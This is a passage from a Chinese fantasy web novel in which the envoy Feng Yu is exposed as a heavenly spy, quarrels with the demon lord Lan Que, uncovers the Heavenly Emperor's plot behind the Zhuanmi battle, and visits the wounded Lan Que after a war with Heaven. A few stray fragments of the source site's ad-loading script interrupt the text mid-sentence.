兰阙紧绷的肩线稍稍放松,哑声道:“我也不想这样。我已找人调查过这名魔兵,他身世并无不妥,这些年也没接触过魔域之外的人,断没有受人指示的可能。凤钰......当年真的有泄密之人吗?” 凤钰掩去了眼中的波动,答道:“我不知道。” 兰阙清澈的眼眸望向凤钰,眼中划过挣扎几番,带着丝丝试探问:“凤钰,你是天庭的人吗?” 兰阙定定地望着他,试图从他的神色中看出端倪,可凤钰镇定自若,明媚的凤眸好似能照亮世间的黑暗,让人无法怀疑他另有心思。 凤钰笑意不减:“兰阙,你是在怀疑我?” 兰阙想从他的神色之中看出端倪,但他神情自然,没有丝毫破绽。 兰阙望着他那双明媚的凤眸,幽幽道:“凤钰,我可以相信你吗?” “你怎么能怀疑我?”凤钰牵起兰阙的手,眼神动人而真挚,比天上的星辰还耀眼夺目。 兰阙感觉到一股热流涌上眼眶,垂眸心道,他怎么会怀疑凤钰呢? 凤钰将他的神色看进眼里,稍加揣摩便知道可能有人对兰阙说了什么,他须得多留意身边之人了。虽然颛靡之战和他无关,但若是兰阙再向下细究,难保不会牵出萝卜带出泥。至少不能让兰阙知道,他是为了锁魂铃而来。 然,未过三日,魔宫却又传来那名魔兵暴毙而亡的消息。 凤钰受召入魔宫,还未进殿,便觉得宫中的气氛不对,心里隐隐升起一种不好的预感。 他料到今日入宫必定和魔兵的事有关,但他与魔兵先前并无交集,就算魔兵莫名其妙地死了,也不该牵扯到他身上。或许兰阙是想找他商讨此事。 凤钰定了定心神,走入大殿之中。 殿内空荡荡的,只燃了几点蓝色火烛,殿外的光线随着门缓缓阖上,消失在他身后。吐息之间,他迈步上前,迎着三面巨大魔相狰狞的目光,从门前一路走至中殿。 殿上宝座上倚靠着一身雍容华服、一言不发的兰阙,他杵着下颚,幽幽望着凤钰,眼底夹杂着许多说不清的神色,眉间的凝重压得如一座小川。 凤钰的心陡然悬至半空。 他与兰阙相识多年,平日相处没有顾及君臣尊卑,哪次进殿不是兰阙主动招呼他?这次他却什么都没有说,在大殿上睥睨他的身影一步一步走上前。直到凤钰与他遥遥相望,仍是眉间紧锁、未发一言。 凤钰行走天界多年,见过的世面良多,心态一向很好。他停在台阶前,掏出怀中的凌霄扇,凤眼一挑,扬起风流的笑容:“阙阙,谁又惹你不高兴了?别板着一张脸,多不可爱。来,说说发生什么事了?” 兰阙居高临下望着他,身上沉重又压抑的气息没有丝毫松懈,渐渐透过殿内沉闷的气氛向他袭来。凤钰心下觉得不妙,兰阙绝不会随便将气撒在他身上,除非气的就是他。 他手中的扇子一搁,眼泛水波:“阙阙,你怎么像是抓负心汉的小媳妇一样,是我在外惹了什么不该惹的人吗?这些天都鸾喜阁生意繁重,我忙都忙不过来,天地可鉴,柳夫人可证,我没顺便勾搭阁里的姑娘小倌。” 话音一落,殿上重归宁静,两人相顾无言,却有一丝不寻常的气息在大殿上交锋。 半晌,兰阙抬了眼睫,终于发声:“你有没有勾搭姑娘小倌,关我何事?” 凤钰心下一松,原来真是他在外风流浪荡惹出来的事。这能怎么办?哄呗! “我虽然不在意世俗规矩,却也不会胡作非为。那些随意祸害姑娘小倌的事,我绝不会做。有时叫他们来聊聊天、喝喝茶,交流平日阁中发生的趣事,也打听近来魔域的新鲜见闻,以便鸾喜阁日后能够更好地经营下去。这些不过是些生意手段,阙阙,你这样紧张倒像是在吃醋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “砰”地一声,瓷杯碎裂在凤钰的脚下,他眼眸一颤,目光落在地上的碎片上,划过一丝意外。 “你不会祸害姑娘小倌......你是来祸害我的。”兰阙的声音微微发颤,似乎在极力隐忍着什么。 凤钰未被眼前的突变吓唬到,依旧笑脸盈盈:“阙阙,究竟发生什么了?告诉我好不好?” 兰阙缓缓闭上眼睛:“你总是这样,你总是这样哄着我,真以为我什么都查不出来吗?” 凤钰神色未变,只是眼神中多了一丝锋芒。 空荡荡的大殿上回响着他的声音:“你查出什么了?” 兰阙睁开眼睛,眼中翻涌着难以压抑的怒意和悲伤,他咬牙道:“你为何不向我行礼?” 凤钰一怔,有些懵了,不知兰阙为何让他行礼。 他单腿向后挪了半步,就要跪下,突然身体一顿,一阵寒意涌上了后背。 他不能跪。 跪拜是天庭使者的礼节。 他与兰阙之间从来不用行礼。 他收回腿,站直了身体,敛去笑意。 “阙阙,不要跟我开这样的玩笑。” 兰阙握紧了宝座上的靠手,眼眸中波涛暗涌:“我没有跟你开玩笑。凤钰,不,应该称呼你为天庭使者?你究竟为什么会来魔域?你在魔域这些年都做了什么?”他的声音沉了下去,艰涩地问:“我哥哥嫂嫂的死,和你有没有关系?” 凤钰唇抿成了一条僵硬的线,心里颤道,兰阙是怎么知道他的身份?他发现了什么?还有没有回转的余地? 他在脑海中飞快地思索着,只听兰阙轻笑了一声,笑声有些惨淡:“凤钰,我们相识多年,经历了许多人事,也算是半个知己。我知道你现在在想什么,你一定在想,为什么我会知道你的身份、这件事还有没有挽回的余地。 “凤钰,你和天庭的往来,你传出去的消息,被我的人发现了。” 兰阙目中无神地看着凤钰,没了往日的温柔,只剩下冷漠和戾气。 “魔域大乱.......好一个魔域大乱。这就是你们想要的?天帝的手未免伸得太长了些!” 几日前凤钰从魔宫回去后,确实向天庭禀报过魔域的现状,只写了四个大字“魔域大乱”。这种含混不清的表达非常符合他敷衍了事的性子,天庭之人对他本就不抱希望,也不会多加追究。但若是落在魔族的手中,这四个字就变了味。 “兰阙,我并非想搅乱魔域。”凤钰原以为自己不在意兰阙如何想,但当兰阙冷漠质问他时,他的语气中无意染上了一丝焦急:“你听我说,我确实向天庭传递了信息,但我原本生长于天庭,天庭也有我的朋友。我来魔域多年难道就要和他们断了联系,不能透露魔域一丝一毫的消息吗?” 兰阙此时悲愤至极,怆然道:“朋友?他们是你的朋友,那我呢?你知不知道这样会将魔域陷入水深火热之中,这么多年你根本没有将我看做你的朋友,你自始至终都只想着你自己罢了。” 凤钰眼色一变,忽然冷道:“这么说,你是一定要怀疑我了?你是不是觉得这些年我陪在你身边做的事、说的话都是在逢场作戏?恐怕魔主自一开始就对我有所防备,既然本就没有信任,何必多言?” 兰阙站起身,愤恨地看着凤钰,从台阶上一步一步走下来。他变得高大深沉了许多,眉目之间依稀有兰霄的影子,身上的阴影笼罩在凤钰身上:“凤钰,我相信过你,可是你将我的信任当成了什么?你是不是觉得我很傻?” 兰阙的眼眸变成了紫色,手中化出一柄长剑,剑身魔气缠绕。 “兰阙,你这是做什么?难道你想杀了我吗?”凤钰脸色一变,收起手中的扇子:“就算我给天庭透露了消息,又能代表什么? “你这是承认了?若不是那名魔兵提醒了我,你还要欺骗我多久?你害怕自己做过的事情暴露,所以杀了那名魔兵。” 凤钰一愣:“你说什么?我从未见过那名魔兵。” “就算不是你,也和你脱不了干系。”兰阙道。 凤钰气极反笑:“与我有何干系?你倒是说清楚,难道就因为我从天庭而来,天庭做过的事情就全部和我有关?那魔域在天界惹下的祸事你是不是也要全权负责?” “凤钰!”兰阙喝道,眼中的失望溢于言表,满眼充斥着破碎:“事已至此,你还要狡辩。”凤钰所有的解释对兰阙苍白无力,他紧拧着眉,缓缓伸出手中的剑,冷声道:“道不同不相为谋,我们做一个了断吧。” “你说我不信你,你又何曾相信过我?你若是信我,也不会不由分说要与我了断。阙阙,你真的知道发生了什么吗?你有证据吗?” 兰阙攥紧了拳头,浑身止不住地颤抖,眼中的翻滚着滔天的悲愤:“凤钰,你无需再狡辩,我已经知道发生的所有事情。我恨你现在还能表现地如此轻巧,那是我的哥哥嫂嫂,我的臣民!你是魔域的仇人,我的名字不是你叫的,你应当尊称我为魔主。” 凤钰心中仿佛有一根弦崩断了,一时愤懑难忍,他也不知道自己在烦闷什么,但是气在头上,只想和兰阙痛痛快快打一场。或许兰阙也是这样想的。 凤钰的扇子一开,周身气息忽变:“既然魔主执意如此,凤钰定然奉陪。” 一夜混战,天际泛白,两个人影如竹柏傲然伫立在大殿的琉璃屋顶上。 两人早已精疲力竭,却没有一人倒下。 阳光一点一点越过地平线,橘色的光芒慢慢爬上高墙,在琉璃瓦檐上留下五彩虹光。 在晨曦的光落在凤钰的脚边时,他深吸一口气,忍着身上的剧痛,割下自己的衣摆,调侃道:“没想到我上古神兽金凤凰风流一世也有失手的时候,这六百年就当是我瞎了眼。往日种种不再作数,魔主,后会无期。”说罢,抽身离去。 兰阙望着缓缓落在地上的那一缕鲜艳的衣角,眼中闪过深深的刺痛。他向前半步,攥紧了拳头,张了张口却什么声音也发不出。灿烂的晨光里,孤立的身影终于再也支撑不下去,从屋顶猝然跌落。 191. 第 191 章 云海之外,遥远的天庭天街上游人如织,形容亮丽的仙人穿梭于长街,酒楼中满座宾客谈笑声不绝于耳。 二楼隔间,一个长发男子醉醺醺地趴在桌上,手中拎着一只翡翠酒壶,半眯着迷离的凤眸张开嘴倒了倒,可惜壶中一滴不剩。 他本就涨红的脸又叠上一层愠怒,随手一抛,酒壶滚落在地上。 “酒......” “酒呢......拿你们最好的酒来......” “没听到吗!我要最烈的酒!” 酒楼的小侍站在墙角的空酒坛堆里瑟瑟发抖:“爷,我们店里所有的酒都在这里了,您还要什么啊。” “不够,根本不够。”凤钰支起身体,眯了眯眼:“我要三口就能不省人事的酒。” 小侍两股战战还不忘顺便拍个马屁:“我们这里哪里有这样的酒。何况爷,您的酒量也不可能三口就倒啊。” 凤钰咧嘴一笑:“不,我可以。是你的酒有问题。” 小侍摆了摆手:“爷,这话可不能乱说,我们这儿可都是货真价实的酒,怎么可能有问题。” 凤钰仰天大笑起来,笑得浑身颤抖,须臾迷离的眼中漫上一层薄雾,对着他吐出一句:“呵呵,我说有问题就有问题。” 两人正在拉扯时,门外回廊传来脚步声,又听有人小声谈论:“这些年天街倒是越发有秩序了,方才在楼下看到一支天兵巡逻,一个个神清气爽、好不得意,你可知是哪位神官的属下?” “哦,不就是那个符鸣上仙吗?” “符鸣上仙是何人?我怎么闻所未闻?” “你不知也不奇怪。符鸣上仙是三百年前升仙的,他原先不过是个名不经传的散仙,也不知从哪里突然冒出来,一步一步爬到现在的位子,实力不容小觑。近来巴结他的人不少,连他的属下也沾了光,我看我们什么时候也去拜会拜会他?” “拜会他?有着功夫不如直接去找华尧上神,上仙与上神可还差一级呢。” “可华尧上神性格古怪,不懂人情世故,你去拜会他,他或许还会将你扫地出门。我听说符鸣上仙平易近人,好说话些。” “说的也是,你说三百年前究竟发生了什么事,怎么天帝突然就赏赐他了呢?” 凤钰迷迷糊糊地听着,声音如同蚂蚁从他左耳朵爬进,右耳朵爬出,痒痒的。恍惚间几只名叫“三百年”“天帝”“赏赐”的蚂蚁突然咬了他一口,脑海顷刻闪过一束白光,令他惊出了一身冷汗。 三百年......三百年...... 他在魔域时并未听说天庭发生了什么大事,但魔域三百年前却正值颛靡之战。 或许是他和天帝打了十数万年交道,太熟悉对方的路数,他立刻觉察出这个时间恐怕不是巧合。 凤钰顾不得衣冠不整,掀开门前地小侍,仓皇冲出酒楼,在街上抓着个天兵问道:“符鸣在哪里?” 凤钰几百年未出现在天庭,现在又一副邋遢的模样,天兵没有认出他,忍着厌恶推开他的手:“哪里来的酒鬼,还想见符鸣上仙?符鸣上仙有自己的宅邸,他可不是什么人都能见的。你要是想见他,至少得把自己收拾干净,再找人递上拜帖,若是符鸣上仙恩准,你才得以见他。” 凤钰哪里顾得上收拾自己,一跃三层楼高,踏着祥云飞奔而去。 凤钰认得符鸣,当年符鸣还是一介散仙时凤钰就曾留意过他。符鸣虽然位阶低,却知进退,又很有野心和抱负。他从不和其他散仙待在一起,而是拼命挤进神官之中,哪怕是俯首做低、受人白眼。 凤钰散漫惯了,从来不喜欢目的性太强的人,自然对符鸣的行事作风嗤之以鼻。 他落在符鸣的宅邸前,只整了整自己杂乱的头发便推门而入,他急迫地想要知道三百年前到底发生了什么。如果是他虚惊一场也就罢了,如果颛靡之战当真与天庭有关......如此一想,他的心下又凉了三分。 宅邸的门将露出一条狭窄的缝隙,门后立刻闪现一道深色人影。符鸣将门推开,神情肃然地看向门外之人,眼中讳莫如深,端的一派老沉的姿态,与凤钰记忆中已经大不相同。 符鸣打量了凤钰几眼,闻到了很重的酒气,微不可察地皱了下眉头,但脸上依旧浮现恭敬的笑容:“凤钰大人,您回来了?有什么事吗?” 凤钰酒意全无,他肩上一松,一扫身上的凝重,又换上假面似的风流神态,挑眉道:“符鸣上仙。我听闻你升了神职,特意过来道贺。不过,你怎么知道我先前不在天庭?” 符鸣神色不变,笑道:“凤钰大人姿色耀眼,若是常在天庭一定无法忽视。许久不见,凤钰大人又是去了何处?” 凤钰看上去被他夸得很受用,眯起了凤眸,挤入门内笑道:“我云游四海居无定所,此番一去数百年,倒是让你逮住了。不如请我进去坐坐,我们细说?” 符鸣让开一步:“是我考虑不周。凤钰大人请。” 符鸣飞升上仙,宅邸的配置已不同凡响,流云飞瀑,水榭花台,应有尽有,甚至比凤钰的老巢还要舒服许多。 凤钰隐隐有些不悦,步入正殿在一方青龙琉璃案几坐下,待仙侍上好茶水退下后,道:“符鸣上仙,你现在可是今日不同往昔了,就连我都要敬你三分哈哈哈哈。” 符鸣眼中掠过一丝得意,故作谦虚道:“凤钰大人天地间只此一份,要敬也是晚辈敬您。” 凤钰素来不喜别人提醒自己岁数大,符鸣这话听在他耳中,又多了些不可言说的意味。他垂眸掩去不悦,不经意问道:“哪里哪里。要我说,飞升上仙可是千万年难得一见的机缘,符鸣上仙这是遇见了什么好事?” 符鸣眼睫一颤,挂起谦谦笑意,可话中却不显谦卑,反而带着蠢蠢欲动的野心:“哪有什么好事,我努力了这么多年,也应当有这样的位置。” 凤钰哈哈大笑:“好心性。不愧能当上上仙,我看上仙之位未必能拦得住你,假以时日你还会有更远的前途。” 符鸣此时才真正展露出一个会心的笑容:“我自当先尽上仙之责,其他的事,也不是我能谋划的。不过能得凤钰大人赏识,是晚辈的荣幸。承蒙吉言,若是真有那一日,摆酒设宴之时,凤钰大人一定要来赏脸。” 符鸣不愧是从底层打拼出来的,话里迂回婉转,叫人找不出半点错漏。凤钰与他来来回回切磋数轮,也没有打听到三百年前他飞升的缘由。 飞升上仙本就是一件天大的喜事,哪个神官不是巴不得所有神官都知道自己飞升的细枝末节。符鸣遮遮掩掩的态度或许不是他不想说,而是他还不能说。 凤钰一计不成又生一计,故作深沉地压低了声音道:“不瞒你说,这些年其实是天帝派我去魔域打探消息,现在魔域大势已去,所以召我回来。可我在魔域虽然传递了些消息,却没有立下功绩,我看这次论赏也不会论到我头上。这机缘错过就没了,符鸣,我可真羡慕你。” 符鸣眼波微动,思忖片刻道:“原来潜伏在魔域的是凤钰大人。” 凤钰微微蹙眉,打开凌霄扇在胸前扇了扇,故作惋惜道:“我在魔域空耗了这么些年,若不是我,三百年前魔域哪里会......” 符鸣眼神一变:“三百年前的颛靡之战凤钰大人也有参与?” 凤钰的目光定在一处,心中仿佛一座大山崩塌,震得他头晕眼花,他强撑住摇摇欲坠的身体,咧开嘴,压着眼中的愤懑:“你们......可进行得顺利?” 符鸣脸上的得意难以掩饰:“天帝知晓锁魂铃落入魔主手中,派我与潜入魔域的细作里应外合。我利用颛靡引孟将军出魔域,再渡给颛靡五百年的修为,颛靡本就狡猾,魔军吃了不少苦头。等他们快要力竭之时,我再给他们最后一击。 “魔军全军覆没,我又故技重施引兰霄过去,假意带来天兵助他,他护妻心切竟然没有怀疑。在他与颛靡苦战之时,我带领天兵将一众魔兵一网打尽,他腹背受敌,如砧板上的鱼肉,再多挣扎也回天无力。” 符鸣的笑容渐渐扭曲:“兰霄最后祭出了锁魂铃想拉我们同归于尽,还好我们早有防备。他死后,我成功夺回了锁魂铃,完成了天帝交代的任务。” 凤钰蓦地安静下来,眼中神色晦暗不清,呢喃道:“这就是三百年前你飞升的缘由?” 符鸣眼中夹杂着浑浊的欲望,笑道:“是啊,我等了这么多年,天帝终于对我委以重任。可惜天帝说此事事关重大,不宜为外人道也。” “这么说,锁魂铃现在在天庭?”凤钰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 垂眸道。 “天帝亲自收着,很是喜欢。” 凤钰垂下袖子,掩藏了战栗的拳头,强行调动起唇边的肌肉,挤出一个复杂的笑容:“恭喜符鸣上仙,看来天界打败魔域指日可待。” 符鸣正在兴头上,没有察觉凤钰神色不自然,反而眼神多了几分喜色:“承凤钰大人吉言。” 凤钰踉踉跄跄走出符鸣宅邸,路上遇到仙人搭讪:“这不是凤钰公子吗?好久不见,一起吃酒去吗?” 凤钰耳边嗡嗡作响,什么也听不清楚,一把将他推开,状似疯癫地跑回宅中。 他撞开府邸朱红色的大门,跌坐在门后,望着头顶一方天空大口喘息。天帝将他派往魔域调查锁魂铃,为什么又让符鸣取回锁魂铃?除了他之外,魔域还有多少天庭的眼线?看来是他在魔域拖延的时间太久,天帝已经等的不耐烦了。 天帝竟然不惜剿灭魔域之主也要得到锁魂铃,万一兰霄没有死,又或者有魔兵逃了出来,将事情的真相公注于众,天庭又该如何在天界众生的眼色下生存?天帝为了锁魂铃竟然连脸面都不要了? 凤钰胃里翻涌,扶着院里老树慢慢爬起来。 不对,有哪里不对。 颛靡之战并不是全军覆没,有一名受伤的魔兵逃了出来。唯一一个从颛靡之战逃出来的魔兵,并没有在回到魔域后立刻将事情的真相告知兰阙,而是在修养了三百年后,禀报兰阙有人将魔域的消息传递了出去。而他也在三日后便暴毙而亡。 太奇怪了。 凤钰寒毛竖立,哇的一声吐了出来。 除非......除非他是天庭的人,故意在事情结束、兰阙已经从悲痛中走出来后,回头再给他一击。或许天帝早已不满凤钰和兰阙的关系,所以借此机会将他们割裂、从而逼他回头,可谓一举多得。 那名魔兵究竟对兰阙说了什么?是否将战场上的事情添油加醋地告诉了他?所以兰阙那日才会如此生气地质问他,以为他是设下陷阱杀害他哥哥嫂嫂、杀害魔域将士的罪魁祸首。 凤钰吐得天昏地暗,浑身酸痛地直不起腰。 兰阙......兰阙...... 不是的...... 他没有想过要害兰霄和孟将军。 他什么都不知道。 可是他怎么可能什么都不知道?他没有办法证明自己,兰阙不会再相信他。 凤钰跌跌撞撞走回屋内,徒手捏了一个诀,手中一缕白雾似的仙气忽而化作一只纸鹤向窗外飞去。他伫立在窗口,心砰砰直跳。不知等了多久,直到天色渐暗,那只纸鹤才奄奄一息地落回窗棂上。 他呼吸一窒,手指轻触纸鹤,纸鹤挥了挥翅膀,说道:“凤钰公子既然已回天庭,还来叨扰我父君做甚?你们已经割袍断义,私下再无瓜葛。下次来,请送天庭的拜帖。” 是兰渊的声音。 兰阙呢?他还好吗? 凤钰悔不当初,他走的那么决绝,现如今还有什么脸面回头去找兰阙? “渊儿,我和兰阙之间有误会,那日离开时说的是气话。我并未参与颛靡之战,也不知道背后都发生了些什么,他不能因为我与天庭的关系就将我连坐。渊儿,这些年我待你如何?你应当知道我没有害你们的心。” 纸鹤低低悬在他掌心:“凤钰公子事已至此,道歉还有什么用?道歉我的爹娘就能回来?魔域与天庭之仇不共戴天,你若是还念着这些年父君对你的好,就莫要再联系我们了。” 纸鹤忽而化作一缕青烟消散。 “渊儿?渊儿!”凤钰身体一晃,跌坐在地上,胸口像是被钝器锤了一下,疼得喘不上气。 兰阙真的一点也不念旧情,彻彻底底地对他失望了,甚至连一句话也不愿同他说。 而后,凤钰数次传信于魔域,均被一一打回。他前去魔域登门道歉,还未到魔宫门口,便被一众魔兵驱赶。凤钰在鸾喜阁的楼顶布置了一间阁楼,经年累月地守在魔域,试图寻找机会接近兰阙,每每无功而返总要大醉一场。 柳夫人见了不便多说,但看他的眼神总带着一丝怜悯。 凤钰魂不守舍地在魔域待了三年,未见到兰阙一面,又被天帝叫了回去。这一别,他再入魔域时却是另一番景象。 192. 第 192 章 天帝用琐事将凤钰困在天庭,浑浑噩噩多年,一日在前院浇花,意兴阑珊间忽然听到府邸外匆匆的步履声,于是从门内抬头眺望。 不一会儿,又几名身披银甲、手持长矛的身影肃然从半空掠过。 凤钰唯恐天下不乱,长期空寂的心一下子被点燃,拦下一名天兵问道出了什么事? 天兵丢下一句,魔域向天庭开战,我等奉天帝之命前去剿灭魔军。便绕过他径直飞去。 凤钰本是看热闹不嫌事大,听完如遭雷击,好一会儿才恍过神来。 魔域与天庭交战,饶是前魔主兰霄时期都难有胜算,更不要说是如今的境况了。魔域为何在这个时候突然向天庭开战?兰阙......是兰阙吗......凤钰失了冷静,一拂袖连祥云也忘了召唤,立即只身飞向两军交战之地。 在颛靡之战结束约一千年后,魔域之主兰阙携魔兵将士不惜一切代价向天庭发起进攻。除极少数魔族,天界谁也不知道这位年轻的魔域之主到底发哪门子疯,敢公然挑衅天庭的威严。 还未达天庭与魔域边境,烈阳般的身影便被天兵拦下。目及之处,连绵云海被战火烧得通红,腾云驾雾的将士堆积如山,三头六臂,各显神通,无数传说中的神器猝然显现,阵阵圣光流转,电闪雷鸣交错。 “冲啊——” “杀——” “杀——” 翻滚的云海间,厮杀声不绝于耳。 凤钰不顾阻拦,越过横在他面前的长矛探头张望,企图从混战中找到兰阙的身影。 天兵道:“凤钰公子,天帝有令,闲杂人等不得靠近,请回。” 凤钰冷笑一声:“你还拦不住我。”他挥袖打开拦在眼前的天兵,纵身跃下,就在火红的衣衫坠入战场之时,他遥遥望见了魔军中那一袭熟悉的身影。 多年未见,兰阙气势大涨,一身玄黑战袍与盔甲立于千军万马中,手持长戟,神色凌然。决绝的眼眸下染上了一丝血污,骇然之姿如修罗降临,竟有几分当年兰霄的影子。 在喊杀声中,凤钰翩然坠落,脑海中忽然闪过他与兰阙相识的画面。 在沧澜山门前,兰阙坐在马车中从门帘后,清润的声音问他是否忘了带请柬。 第一次见到兰阙,他出言调戏时兰阙眼中的恼怒。 在沧澜宴,在一众虚伪的神佛面前,兰阙说出的真言。 在魔域再会,兰阙将他灌醉。 大漠日落,对月私语,醉酒舞剑...... 他们一起度过了漫漫长夜和最艰难的时光。 天庭表面一套背地一套,他在尔虞我诈中逐渐已经忘了真心是什么。他流连花丛,与形形色色的人打交道,口中没说过几句真话。对他来说,真话就是笑话。 可是兰阙不一样,他敢说,他敢做。他讨伐天庭一如当年在沧澜宴上对一众虚伪名士的反抗,他从不屈服,他要求一个真相。 凤钰心中的震撼难以言表。 兰阙对他来说意味着什么?他不知道。 他只知道自天地初开以来数万年间,他也只得这一位曾对他真心真意的人。 可是出征天庭,无异于找死。 凤钰很快再次被天兵拦下,耳边传来天帝低沉的声音:“凤钰,你想做什么。” 战火四起,硝烟弥漫,魔兵与天兵战况惨烈,一个又一个将士倒下,一眨眼那抹熟悉的身影又不知去向。 凤钰红着眼睛嘶吼道:“让开!都给我滚!”忽而展开扇子一挥,几道疾风打上冲来的天兵,将他们抛出去数米开外。 天帝怒道:“凤钰,你还记得你的身份吗?” 凤钰攥紧了拳头冲他吼道:“老子不用你猫哭耗子假慈悲!当年要不是你从中作梗,魔域怎会开战?这一切都是你造成的!你做的勾当又何尝符合你的身份?” 天帝顿了一下,面色不好看起来:“凤钰,你不要不识抬举。就算你真的去了,你能改变什么?魔域之主难道会善待你?魔族难道会善待你?在他们眼中你也是背后的推手,他们恨不得扒你的皮、吃你的肉、喝你的血,老老实实待在天庭才是正确的选择。” 天空突然降下一圈金色圆环,凤钰大惊失色,飞快抽身而去。那圆环紧追不舍,不一会儿在凤钰身上收拢,凤钰奋力挣扎却纹丝不动。 “放开我!” 天帝轻描淡写地落下一句:“将凤钰公子带回他的逍遥居,没有我的命令,不准踏出天庭一步。” 那一战前后持续了一百年,战况极为焦灼。魔域谋划已久,暗地里做足了准备。天庭派出声名远扬的华尧上神与近年声势正旺的符鸣上仙应战,在两位武神的英勇抗击下,以数百名天兵天将为代价,终是剿灭一众魔军,重创魔域之主兰阙。 凤钰在天庭苦守数年,听闻兰阙受伤,不要命地冲破了天庭的禁制,冲向他这些年来日思夜想的魔域。 魔域战败后,边境审查极严。若不是柳夫人在魔域打下的多年根基,想方设法接应他,他未必能够再次踏入魔域。 魔宫重兵把守,凤钰冲破层层阻拦,在魔宫寻找那个魂牵梦绕的身影。今夜薄雾浓云掩盖了月色,魔宫比记忆中还要冷清,好像自他离开再无生气,唯有那遥远的一隅在暗夜中泛着幽幽微光。 他落在兰阙的寝宫前,几乎能听见自己胸口传来猛烈的撞击声。 他向前挪了一步,却停了下来。 夜里寒风呼啸,他如一座冰雕伫立在原地,像荒漠中的渴水之人望着宫内散发的温暖。 忽然,屋内传来一声疾呼:“父君!” 凤钰眼前一片空白,来不及思考冲进院内。 侍从认出了凤钰:“你......是凤钰公子!凤钰公子来了!” 房门忽然被推开,凤钰在看到走出的兰渊时,眼神黯了一下。 “渊儿,兰阙......他还好吗?” 兰渊脸色苍白,阴郁的眸子中带着一丝不耐烦,声音冷倒极致:“不是跟你说了,不要再来吗?” 凤钰一顿,扯了扯嘴角:“我听说兰阙受伤了......” 兰渊喝道:“你满意了?你是不是想亲眼看看他死了没有,然后回天庭向天帝复命?” 凤钰呼吸颤抖,摇了摇头,急着否认道:“渊儿,我不是替天庭来的,我是为我自己来的。我想看看兰阙,我已经很多年没见过他。他如今怎么样了?” 兰渊握了握拳,眼中的寒意更甚:“哦?我竟然不知道凤钰公子是如此重情重义之人,当年魔域被你们害的还不够惨?父君被你们害的还不够惨?如今的样子又做给谁看?我们不会再相信你了,就算今夜父君熬不过去,你也别想见他一眼。” 寒意瞬间涌上凤钰的身体,恍惚间耳边嗡鸣,他瞳孔大震:“你说什么?什么兰阙熬不过去?” 兰渊冷笑一声,眼底流露出阴毒的恨意:“这要问天庭了,天庭派出的武神华尧和符鸣可是想要置他于死地。父君被他们重伤,已经回天无力。这就是你们想要的,你们目的达到了。” 凤钰仿佛整个人轰然倒塌,呼吸轻缓不接:“让我进去看看他,让我看看他。渊儿,我有办法,会有办法的。魔域之主,魔域之主怎么可能死呢?” 天边流云散去,露出残酷的月色。兰渊的目光却比月色还要冷上几分:“魔域之主怎么可能死?是啊,若不是天庭不义,魔域之主怎么可能死?” 凤钰急火攻心,赤红了双眼,霎时间身后幻化出凤凰法相,一道强劲的风向兰渊袭去。 兰渊携披风一挡,却不料凤钰此时使出了全力,被疾风一卷重重撞在院中的古树上。 “小殿下!”几名侍从哪里敢拦凤钰,纷纷去扶兰渊。兰渊狼狈地从地上爬起来,推开众人,紧跟着凤钰冲进屋内。 凤钰急促的脚步陡然停在床榻边,幽深的帘帐将他和床上之人隔在两方天地。他的手指轻轻搭在帘帐上,犹豫了一下,没有掀开。 兰渊在他身后紧紧盯着他沉声道:“凤钰,请自重。父君不想再见你。” 凤钰心头的悲痛夹杂着一丝气恼,一把将帘帐扯开,昏暗的床榻瞬间被温暖的光笼罩。 他瘦了。 枯瘦如柴的兰阙静静卧在床上,面色惨白,双眼紧阖,呼吸微不可察。 饶是预想了几百遍再次相见的情形,凤钰也想不到会是这般境地。他的脸唰的一下白得毫无血色,浑身止不住颤抖起来。他想唤醒兰阙,但是声音哽在喉头。 他伸出手轻轻碰了碰兰阙的手,冰凉、瘦削,与他记忆中肆意挥剑的手截然不同。他垂下头,一颗晶莹的泪落在手背上。 兰渊一顿,挪开目光,不再出声阻止。 凤钰在床边坐了一夜,天色渐亮,兰阙的指尖忽然动了一下。 凤钰从床边跳起来,轻声道:“阙阙,你醒了吗?” 兰阙睁开眼睛,恍惚地看向凤钰,眼中如同蒙上一层薄雾,看不十分真切:“凤钰......你怎么会在这里......” 凤钰目光一颤,悄悄地收回手:“是啊,我不该在这里。” 兰阙轻呵一声,略有无奈道:“你生气了。” 凤钰低下头,像个做错事的孩子:“我没有。” “我听说你受了伤,来看看你。”他的声音很轻,像一片羽毛轻飘飘地落地,目光却很重,像是将分隔多年的思念全部倾注在这一刻。 兰阙缓缓闭上眼,嘴唇微微 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 动了一下,凤钰低下头挨近了,才隐隐约约听见:“没想到还能再见到你......” 凤钰想笑,可是唇角不知何时变得酸涩又僵硬,已无法抬起:“你想见我,随时可以。我就在你身边。” 兰阙沉默了一会儿,呼吸轻柔短促,半晌睁开眼睛,眼中带着意味不明的光。他叹了一口气道:“我还是输了。” 凤钰眼睫轻颤。 兰阙垂眸问:“你会怪我吗......” 凤钰轻轻摇了摇头:“是我不对。兰阙,我真的没有参与颛靡之战......不论你信不信,我无愧于心,但我愧对你。我不该欺骗你。一开始我确实是受天帝之命前来魔域寻找锁魂铃的下落,因此故意接近你,取得你的信赖。但你也知道我天性潇洒,不喜受制于人,表面上应下这个任务,实际上并不上心。 “天帝设下了颛靡之战这一陷阱,虽然我不曾参与,但他出此下策却不能说和我无关。我曾偷偷潜入魔宫听见了孟将军的谈话,虽然没有十足的证据,但是却得知了锁魂铃确实在前魔主兰霄的手中。是我将这个消息告诉了天帝,或许天帝觉得我无用,所以安排了另外的人潜入魔域。” 身后兰渊闻言抬头望向凤钰的背影,眼眸泛着阴郁,攥紧了冰冷的手指,如果目光是剑,那么凤钰早就被他刺得千疮百孔。 “那名从颛靡之战逃回来的魔兵应当也是天庭的人。他在颛靡之战后故意隐瞒三年,在三年之后为了刺激你放出当年的真相,也为了离间我们之间的关系。” 兰阙眼中划过一丝刺痛,急促地咳嗽几声,嘴角浮现一丝惨淡悲愤的笑意:“天帝欺人太甚......他做出如此卑劣的行径,就不怕世人知道真相?” 凤钰试图宽慰他几句,但兰阙是何等聪慧之人,他怎么会想不明白其中的道理。天庭是天界正道之光,魔域素来恶名昭彰。天界的仙人皆活在自己的认知里,不会有人愿意踏出一步相信魔域。世人会偏向哪一边,这是显而易见的事情。 